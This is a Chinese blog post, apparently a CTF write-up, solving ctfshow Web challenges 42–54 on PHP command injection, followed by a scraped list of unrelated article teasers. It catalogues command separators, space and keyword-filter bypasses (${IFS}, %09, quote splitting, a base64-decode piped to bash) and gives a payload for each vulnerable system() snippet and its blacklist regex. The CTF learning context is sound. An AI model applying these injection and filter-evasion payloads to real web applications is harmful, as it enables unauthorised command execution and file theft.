0x00前记

​ 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的坑,很感谢各位师傅帮我填坑!!!

0x01命令执行

​ 题目的考点主要都是命令执行+命令分隔,与ping的那种题目类似,不过这里主要是使用是“>/dev/null 2>&1”,百度查了一下意思,好像是不进行回显的意思,那就分隔命令,将命令分开,使得后面的命令失去相应的作用。

​

分隔命令

;	//分号应该是最好理解的
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行,不知道是不是自己姿势不对,没成功,下面也是一样
&& //两条命令都会执行

空格绕过

<
<> //需要写的权限
${IFS}
$IFS$9
%20
%09
%3c
A=$'cat\x20flag'&&$A
A=$'cat\x09flag'&&$A

黑名单

//一般情况像flag、php这种字符会被ban掉,这时候就需要进行绕过了
通配符
* //匹配任何文本或字符串,这个通过测试发现并不能与IFS或<这两个字符一起使用
? //匹配单个任意字符 空字符
$@ //ca$@t flag
$1-$9 //ca$1t flag
${数字} //ca${1}t flag 编码绕过
echo "Y2F0IGZsYWcucGhwCg=="|base64 -d|bash //解码为cat flag.php并执行
echo "cat flag.php"|base64 //最好别在在线网站编码,不然可能会将空格转成url编码,从而无法执行命令 变量替换
a=t;b=g;ca$a fla$b.php 引号
ca''t fl''ag.php 反斜杆
ca\t f\la\g.php

Linux查看文件命令

cat		//cat flag.php
tac //tac flag.php
head //head flag.php
tail //tail flag.php
nl //nl flag.php
more //more flag.php
less //less flag.php
od //od flag.php
grep //grep 'fla' flag.php
strings //strings flag.php
sort //sort flag.php

0x02题目解析

以下题目均来自:CTFshow

感谢大师傅给我们出了这些有趣有意思的题目,开心

Web42

if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
} //这题没有任何的过滤,只有一个不回显的命令,命令分隔一下即可
Payload:?c=cat flag.php;

Web43

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
} //这题开始增加了黑名单了,过滤了分号-->可以用||绕过;cat则可以换一种查看文件的命令,或者使用引号等方式绕过
Payload:?c=tac flag.php||

Web44

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
} //对此开始过滤flag关键词了,这里可以用单引号、通配符等方法绕过
Payload:?c=tac fla*||

Web45

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
} //这里开始过滤空格了,利用上面讲到的空格绕过即可
Payload:?c=tac%09fla?????||

Web46

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
} //这里过滤了数字推测可能是限制使用编码绕过,过滤了$可以限制比较多,以及通配符*,但是还有?
Payload:?c=tac%09fla??php||

Web47

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
} //新添加了一些查看文件的命令进黑名单,但是tac还是可以用的
Payload:?c=tac%09fla??php||

Web48

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
} //继续新增黑名单的内容,但是tac还是没过滤,开心
Payload:?c=tac%09fla??php||

Web49

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
} Payload:?c=tac%09fla??php||

Web50

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
} //这里过滤了%和09,不能用原来的payload,不过换种空格绕过方式即可,这里有个坑就是<>和?一起使用时没有回显,所以这里用了单引号绕过
Payload:?c=tac<>fla%27%27g.php||

后面几题其实都是差不多的,这里不多赘述了。

Web54

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
} //因为这里加了匹配的内容,不能使用空字符绕过了,好不容易找到了grep命令,好用!!!因为flag被过滤了,所以对于关键字这里只用了'fla'
Payload:?c=grep${IFS}'fla'${IFS}fla??php

关于CTFshow中Web入门42-54的更多相关文章

  1. ctfshow的web入门171

    web入门171 看到这个查询语句,我们可以进行相关操作 $sql = "select username,password from user where username !='flag' ...

  2. ctfshow之Web入门刷题记(从89开始,持续更新)

    0x01Web89-99PHP特性payload Web89 include("flag.php"); highlight_file(__FILE__); if(isset($_G ...

  3. 8、web入门回顾/ Http

    1 web入门回顾 web入门 1)web服务软件作用: 把本地资源共享给外部访问 2)tomcat服务器基本操作      : 启动:  %tomcat%/bin/startup.bat 关闭: % ...

  4. eclipse中web项目部署以后jsp的java文件找不到问题(Tomcat配置serverlocations)

    我的开发环境:eclipse kepler (4.3)+tomcat7.0.42. 在我想看eclipse中web项目jsp文件被tomcat转换成java以后的java源文件的位置,发现正常情况下的 ...

  5. python web入门程序

    python2.x web入门程序 #!/usr/bin/python # -*- coding: UTF-8 -*- # 只在python2.x 有效 import os #Python的标准库中的 ...

  6. Java web 入门知识 及HTTP协议详解

     Java  web  入门知识 及HTTP协议详解 WEB入门 WEB,在英语中web即表示网页的意思,它用于表示Internet主机上供外界访问的资源. Internet上供外界访问的Web资 ...

  7. Java Web入门经典扫描版

    全书共分4篇19章,其中,第一篇为“起步篇”,主要包括开启JavaWeb之门.不可不知的客户端应用技术.驾驭JavaWeb开发环境.JavaWeb开发必修课之JSP语法等内容:第二篇为“核心篇”,主要 ...

  8. [翻译]Nativescript 中 Web 视图与 Android/IOS 的双向通信

    English document From http://shripalsoni.com/blog/nativescript-webview-native-bi-directional-communi ...

  9. Golang Web入门(4):如何设计API

    摘要 在之前的几篇文章中,我们从如何实现最简单的HTTP服务器,到如何对路由进行改进,到如何增加中间件.总的来讲,我们已经把Web服务器相关的内容大概梳理了一遍了.在这一篇文章中,我们将从最简单的一个 ...

随机推荐

  1. ucore操作系统学习(三) ucore lab3虚拟内存管理分析

    1. ucore lab3介绍 虚拟内存介绍 在目前的硬件体系结构中,程序要想在计算机中运行,必须先加载至物理主存中.在支持多道程序运行的系统上,我们想要让包括操作系统内核在内的各种程序能并发的执行, ...

  2. 一套轻量级销售团队管理系统【CRM】

    项目描述 Hi,大家好,又到了源码分享时间啦,今天我们分享的源码一个<轻量级销售团队管理系统>,这套系统是一套轻量级的CRM系统,基于SSM的SpringBoot架构.这套项目用到很多潮流 ...

  3. String字符串性能优化的探究

    一.背景 String 对象是我们使用最频繁的一个对象类型,但它的性能问题却是最容易被忽略的.String 对象作为 Java 语言中重要的数据类型,是内存中占用空间最大的一个对象,高效地使用字符串, ...

  4. 细说React生命周期

    目录 新旧版本生命周期图对比 16.3之前的版本 16.3之后的版本 生命周期的几个阶段 挂载 constructor conpomentWillMount(v17将移除) getDerivedSta ...

  5. 走在深夜的小码农 Fourth Day

    Css3 Fourth Day writer:late at night codepeasant 学习大纲 一.emmet语法 1.简介 ​ Emmet语法的前身是Zen coding,它使用缩写,来 ...

  6. [论文阅读]阿里DIEN深度兴趣进化网络之总体解读

    [论文阅读]阿里DIEN深度兴趣进化网络之总体解读 目录 [论文阅读]阿里DIEN深度兴趣进化网络之总体解读 0x00 摘要 0x01论文概要 1.1 文章信息 1.2 基本观点 1.2.1 DIN的 ...

  7. printk 流程分析

    1. 概述 printk 用于在终端上打印内核想要输出的信息,平常我们较多使用的打印函数是 printf,两者名字虽然只有最后一个字母不同,且都是为了在终端上显示信息,但是它们的应用场景并不相同.pr ...

  8. 如何在 Debian 9 上搭建 LNMP 环境

    步骤一.安装Nginx Nginx在默认的Debian存储库中可用. 使用以下命令更新软件包索引并安装Nginx: sudo apt update sudo apt install nginx 安装过 ...

  9. python的高阶函数(map,filter,sorted,reduce)

    高阶函数 关注公众号"轻松学编程"了解更多. 1.MapReduce MapReduce主要应用于分布式中. 大数据实际上是在15年下半年开始火起来的. 分布式思想:将一个连续的字 ...

  10. 浅析 AC 自动机

    目录 简述 AC 自动机是什么 AC 自动机有什么用 AC 自动机·初探 AC 自动机·原理分析 AC 自动机·代码实现 AC 自动机·更进一步 第一题 第二题 第三题 从 AC 自动机到 fail ...